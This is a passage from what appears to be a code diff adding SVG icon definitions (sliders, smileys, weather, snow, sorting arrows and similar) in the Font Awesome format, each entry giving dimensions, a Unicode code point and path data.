7.2 16 16 16h516c39 0 73.7-29.3 75.9-68.3 1.4-23.8-8.7-46.3-27.2-61zM32 224c0 59.6 40.9 109.2 96 123.5V400h64v-48h192v48h64v-48c53 0 96-43 96-96v-96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-96v64c0 35.3-28.7 64-64 64h-20.7c-65.8 0-125.9-37.2-155.3-96-29.4-58.8-89.6-96-155.3-96H32C14.3 32 0 46.3 0 64s14.3 32 32 32v128z" ], + "sliders-h": [ 512, 512, [], "f1de", "M496 384H160v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h80v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h336c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160h-80v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h336v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h80c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160H288V48c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h208v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16z" ], + smile: [ 496, 512, [], "f118", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm194.8 170.2C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.6-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.4-16.2 38.1 4.2 24.6 20.5z" ], + "smile-beam": [ 496, 512, [], "f5b8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM112 223.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zm250.8 122.8C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.3 24.6 20.5zm6.2-118.3l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.6 8.6-11 11.9-15.1 4.5z" ], + "smile-wink": [ 496, 512, [], "f4da", "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm158.5 16.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.7 11.1-11.4 18.3-19.8 10.8l-9.7-8.5zM157.8 325.8C180.2 352.7 213 368 248 368s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.2 24.6 20.5C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11.2-36.7 24.6-20.4z" ], + smog: [ 640, 512, [], "f75f", "M624 368H80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm-480 96H16c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h128c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm416 0H224c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h336c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zM144 288h156.1c22.5 19.7 51.6 32 83.9 32s61.3-12.3 83.9-32H528c61.9 0 112-50.1 112-112S589.9 64 528 64c-18 0-34.7 4.6-49.7 12.1C454 31 406.8 0 352 0c-41 0-77.8 17.3-104 44.8C221.8 17.3 185 0 144 0 64.5 0 0 64.5 0 144s64.5 144 144 144z" ], + smoking: [ 640, 512, [], "f48d", "M632 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8zM553.3 87.1c-5.7-3.8-9.3-10-9.3-16.8V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v62.3c0 22 10.2 43.4 28.6 55.4 42.2 27.3 67.4 73.8 67.4 124V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-65.5-32.4-126.2-86.7-162.6zM432 352H48c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h384c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zm-32 112H224v-64h176v64zm87.7-322.4C463.8 125 448 99.3 448 70.3V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v66.4c0 43.7 24.6 81.6 60.3 106.7 22.4 15.7 35.7 41.2 35.7 68.6V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-43.3-21-83.4-56.3-108.1zM536 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8z" ], + "smoking-ban": [ 512, 512, [], "f54d", "M96 304c0 8.8 7.2 16 16 16h117.5l-96-96H112c-8.8 0-16 7.2-16 16v64zM256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm0 448c-105.9 0-192-86.1-192-192 0-41.4 13.3-79.7 35.7-111.1l267.4 267.4C335.7 434.7 297.4 448 256 448zm45.2-192H384v32h-50.8l-32-32zm111.1 111.1L365.2 320H400c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16H269.2L144.9 99.7C176.3 77.3 214.6 64 256 64c105.9 0 192 86.1 192 192 0 41.4-13.3 79.7-35.7 111.1zM320.6 128c-15.6 0-28.6-11.2-31.4-25.9-.7-3.6-4-6.1-7.7-6.1h-16.2c-5 0-8.7 4.5-8 9.4 4.6 30.9 31.2 54.6 63.3 54.6 15.6 0 28.6 11.2 31.4 25.9.7 3.6 4 6.1 7.7 6.1h16.2c5 0 8.7-4.5 8-9.4-4.6-30.9-31.2-54.6-63.3-54.6z" ], + sms: [ 512, 512, [], "f7cd", "M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7 1.3 3 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128.2 304H116c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H156c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-19 38.6-42.4 38.6zm191.8-8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-68.2l-24.8 55.8c-2.9 5.9-11.4 5.9-14.3 0L224 227.8V296c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V192c0-8.8 7.2-16 16-16h16c6.1 0 11.6 3.4 14.3 8.8l17.7 35.4 17.7-35.4c2.7-5.4 8.3-8.8 14.3-8.8h16c8.8 0 16 7.2 16 16v104zm48.3 8H356c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H396c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-18.9 38.6-42.3 38.6z" ], + snowboarding: [ 512, 512, [], "f7ce", "M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm28.8 153.6c5.8 4.3 12.5 6.4 19.2 6.4 9.7 0 19.3-4.4 25.6-12.8 10.6-14.1 7.8-34.2-6.4-44.8l-111.4-83.5c-13.8-10.3-29.1-18.4-45.4-23.8l-63.7-21.2-26.1-52.1C244.7 2 225.5-4.4 209.7 3.5c-15.8 7.9-22.2 27.1-14.3 42.9l29.1 58.1c5.7 11.4 15.6 19.9 27.7 24l16.4 5.5-41.2 20.6c-21.8 10.9-35.4 32.8-35.4 57.2v53.1l-74.1 24.7c-16.8 5.6-25.8 23.7-20.2 40.5 1.7 5.2 4.9 9.4 8.7 12.9l-38.7-14.1c-9.7-3.5-17.4-10.6-21.8-20-5.6-12-19.9-17.2-31.9-11.6s-17.2 19.9-11.6 31.9c9.8 21 27.1 36.9 48.9 44.8l364.8 132.7c9.7 3.5 19.7 5.3 29.7 5.3 12.5 0 24.9-2.7 36.5-8.2 12-5.6 17.2-19.9 11.6-31.9S474 454.7 462 460.3c-9.3 4.4-19.8 4.8-29.5 1.3l-90.8-33.1c8.7-4.1 15.6-11.8 17.8-21.9l21.9-102c3.9-18.2-3.2-37.2-18.1-48.4l-52-39 66-30.5 83.5 62.9zm-144.4 51.7l-19.7 92c-1.5 7.1-.1 13.9 2.8 20l-169.4-61.6c2.7-.2 5.4-.4 8-1.3l85-28.4c19.6-6.5 32.8-24.8 32.8-45.5V256l60.5 45.3z" ], + snowflake: [ 448, 512, [], "f2dc", "M440.3 345.2l-33.8-19.5 26-7c8.2-2.2 13.1-10.7 10.9-18.9l-4-14.9c-2.2-8.2-10.7-13.1-18.9-10.9l-70.8 19-63.9-37 63.8-36.9 70.8 19c8.2 2.2 16.7-2.7 18.9-10.9l4-14.9c2.2-8.2-2.7-16.7-10.9-18.9l-26-7 33.8-19.5c7.4-4.3 9.9-13.7 5.7-21.1L430.4 119c-4.3-7.4-13.7-9.9-21.1-5.7l-33.8 19.5 7-26c2.2-8.2-2.7-16.7-10.9-18.9l-14.9-4c-8.2-2.2-16.7 2.7-18.9 10.9l-19 70.8-62.8 36.2v-77.5l53.7-53.7c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0L256 56.4V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v40.4l-19.7-19.7c-6.2-6.2-16.4-6.2-22.6 0L138.3 48c-6.3 6.2-6.3 16.4 0 22.6l53.7 53.7v77.5l-62.8-36.2-19-70.8c-2.2-8.2-10.7-13.1-18.9-10.9l-14.9 4c-8.2 2.2-13.1 10.7-10.9 18.9l7 26-33.8-19.5c-7.4-4.3-16.8-1.7-21.1 5.7L2.1 145.7c-4.3 7.4-1.7 16.8 5.7 21.1l33.8 19.5-26 7c-8.3 2.2-13.2 10.7-11 19l4 14.9c2.2 8.2 10.7 13.1 18.9 10.9l70.8-19 63.8 36.9-63.8 36.9-70.8-19c-8.2-2.2-16.7 2.7-18.9 10.9l-4 14.9c-2.2 8.2 2.7 16.7 10.9 18.9l26 7-33.8 19.6c-7.4 4.3-9.9 13.7-5.7 21.1l15.5 26.8c4.3 7.4 13.7 9.9 21.1 5.7l33.8-19.5-7 26c-2.2 8.2 2.7 16.7 10.9 18.9l14.9 4c8.2 2.2 16.7-2.7 18.9-10.9l19-70.8 62.8-36.2v77.5l-53.7 53.7c-6.3 6.2-6.3 16.4 0 22.6l11.3 11.3c6.2 6.2 16.4 6.2 22.6 0l19.7-19.7V496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-40.4l19.7 19.7c6.2 6.2 16.4 6.2 22.6 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6L256 387.7v-77.5l62.8 36.2 19 70.8c2.2 8.2 10.7 13.1 18.9 10.9l14.9-4c8.2-2.2 13.1-10.7 10.9-18.9l-7-26 33.8 19.5c7.4 4.3 16.8 1.7 21.1-5.7l15.5-26.8c4.3-7.3 1.8-16.8-5.6-21z" ], + snowman: [ 512, 512, [], "f7d0", "M510.9 152.3l-5.9-14.5c-3.3-8-12.6-11.9-20.8-8.7L456 140.6v-29c0-8.6-7.2-15.6-16-15.6h-16c-8.8 0-16 7-16 15.6v46.9c0 .5.3 1 .3 1.5l-56.4 23c-5.9-10-13.3-18.9-22-26.6 13.6-16.6 22-37.4 22-60.5 0-53-43-96-96-96s-96 43-96 96c0 23.1 8.5 43.9 22 60.5-8.7 7.7-16 16.6-22 26.6l-56.4-23c.1-.5.3-1 .3-1.5v-46.9C104 103 96.8 96 88 96H72c-8.8 0-16 7-16 15.6v29l-28.1-11.5c-8.2-3.2-17.5.7-20.8 8.7l-5.9 14.5c-3.3 8 .7 17.1 8.9 20.3l135.2 55.2c-.4 4-1.2 8-1.2 12.2 0 10.1 1.7 19.6 4.2 28.9C120.9 296.4 104 334.2 104 376c0 54 28.4 100.9 70.8 127.8 9.3 5.9 20.3 8.2 31.3 8.2h99.2c13.3 0 26.3-4.1 37.2-11.7 46.5-32.3 74.4-89.4 62.9-152.6-5.5-30.2-20.5-57.6-41.6-79 2.5-9.2 4.2-18.7 4.2-28.7 0-4.2-.8-8.1-1.2-12.2L502 172.6c8.1-3.1 12.1-12.2 8.9-20.3zM224 96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 272c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-88s-16-23.2-16-32 7.2-16 16-16 16 7.2 16 16-16 32-16 32zm32-56c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" ], + snowplow: [ 640, 512, [], "f7d2", "M120 376c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm238.6 49.4c-14.5-14.5-22.6-34.1-22.6-54.6V269.2c0-20.5 8.1-40.1 22.6-54.6l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6l-22.6-22.6c-6.2-6.2-16.4-6.2-22.6 0l-36.7 36.7c-26.5 26.5-41.4 62.4-41.4 99.9V288h-64v-50.9c0-8.7-1.8-17.2-5.2-25.2L364.5 29.1C356.9 11.4 339.6 0 320.3 0H176c-26.5 0-48 21.5-48 48v112h-16c-26.5 0-48 21.5-48 48v91.2C26.3 317.2 0 355.4 0 400c0 61.9 50.1 112 112 112h256c61.9 0 112-50.1 112-112 0-17.3-4.2-33.4-11.2-48H512v18.7c0 37.5 14.9 73.4 41.4 99.9l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0l22.6-22.6c6.2-6.2 6.2-16.4 0-22.6l-36.7-36.7zM192 64h117.8l68.6 160H256l-64-64V64zm176 384H112c-26.5 0-48-21.5-48-48s21.5-48 48-48h256c26.5 0 48 21.5 48 48s-21.5 48-48 48z" ], + soap: [ 512, 512, [], "e06e", "M416,192a95.42,95.42,0,0,1-30.94,70.21A95.8,95.8,0,0,1,352,448H160a96,96,0,0,1,0-192h88.91A95.3,95.3,0,0,1,224,192H96A96,96,0,0,0,0,288V416a96,96,0,0,0,96,96H416a96,96,0,0,0,96-96V288A96,96,0,0,0,416,192Zm-96,64a64,64,0,1,0-64-64A64,64,0,0,0,320,256ZM208,96a48,48,0,1,0-48-48A48,48,0,0,0,208,96ZM384,64a32,32,0,1,0-32-32A32,32,0,0,0,384,64ZM160,288a64,64,0,0,0,0,128H352a64,64,0,0,0,0-128Z" ], + socks: [ 512, 512, [], "f696", "M214.66 311.01L288 256V96H128v176l-86.65 64.61c-39.4 29.56-53.86 84.42-29.21 127.06C30.39 495.25 63.27 512 96.08 512c20.03 0 40.25-6.25 57.52-19.2l21.86-16.39c-29.85-55.38-13.54-125.84 39.2-165.4zM288 32c0-11.05 3.07-21.3 8.02-30.38C293.4.92 290.85 0 288 0H160c-17.67 0-32 14.33-32 32v32h160V32zM480 0H352c-17.67 0-32 14.33-32 32v32h192V32c0-17.67-14.33-32-32-32zM320 272l-86.13 64.61c-39.4 29.56-53.86 84.42-29.21 127.06 18.25 31.58 50.61 48.33 83.42 48.33 20.03 0 40.25-6.25 57.52-19.2l115.2-86.4A127.997 127.997 0 0 0 512 304V96H320v176z" ], + "solar-panel": [ 640, 512, [], "f5ba", "M431.98 448.01l-47.97.05V416h-128v32.21l-47.98.05c-8.82.01-15.97 7.16-15.98 15.99l-.05 31.73c-.01 8.85 7.17 16.03 16.02 16.02l223.96-.26c8.82-.01 15.97-7.16 15.98-15.98l.04-31.73c.01-8.85-7.17-16.03-16.02-16.02zM585.2 26.74C582.58 11.31 568.99 0 553.06 0H86.93C71 0 57.41 11.31 54.79 26.74-3.32 369.16.04 348.08.03 352c-.03 17.32 14.29 32 32.6 32h574.74c18.23 0 32.51-14.56 32.59-31.79.02-4.08 3.35 16.95-54.76-325.47zM259.83 64h120.33l9.77 96H250.06l9.77-96zm-75.17 256H71.09L90.1 208h105.97l-11.41 112zm16.29-160H98.24l16.29-96h96.19l-9.77 96zm32.82 160l11.4-112h149.65l11.4 112H233.77zm195.5-256h96.19l16.29 96H439.04l-9.77-96zm26.06 256l-11.4-112H549.9l19.01 112H455.33z" ], + sort: [ 320, 512, [], "f0dc", "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41zm255-105L177 64c-9.4-9.4-24.6-9.4-33.9 0L24 183c-15.1 15.1-4.4 41 17 41h238c21.4 0 32.1-25.9 17-41z" ], + "sort-alpha-down": [ 448, 512, [], "f15d", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm240-64H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z" ], + "sort-alpha-down-alt": [ 448, 512, [], "f881", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm112-128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z" ], + "sort-alpha-up": [ 448, 512, [], "f15e", "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm400 128H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z" ], + "sort-alpha-up-alt": [ 448, 512, [], "f882", "M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm272 64h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z" ], + "sort-amount-down": [ 512, 512, [], "f160", "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-128-64h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm256-192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "sort-amount-down-alt": [ 512, 512, [], "f884", "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm-64 0h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.37 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z" ], + "sort-amount-up": [ 512, 512, [], "f161", "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.77 160 16 160zm416 0H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "sort-amount-up-alt": [ 512, 512, [], "f885", "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.39-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160z" ], + "sort-down": [ 320, 512, [], "f0dd", "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41z" ], + "sort-numeric-down": [ 448, 512, [], "f162", "M304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zm26.15 162.91a79 79 0 0 0-55 54.17c-14.25 51.05 21.21 97.77 68.85 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zm-176-4h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z" ], + "sort-numeric-down-alt": [ 448, 512, [], "f886", "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm224 64h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z" ], + "sort-numeric-up": [ 448, 512, [], "f163", "M330.17 258.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zM304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zM107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31z" ], + "sort-numeric-up-alt": [ 448, 512, [], "f887", "M107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31zM400 416h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 